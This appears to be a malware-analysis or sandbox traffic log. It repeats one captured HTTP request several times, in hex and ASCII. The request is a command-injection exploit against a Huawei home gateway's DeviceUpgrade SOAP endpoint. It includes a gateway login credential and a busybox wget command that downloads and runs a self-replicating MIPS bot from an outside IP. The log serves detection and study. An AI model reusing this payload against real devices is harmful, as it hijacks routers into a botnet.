Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
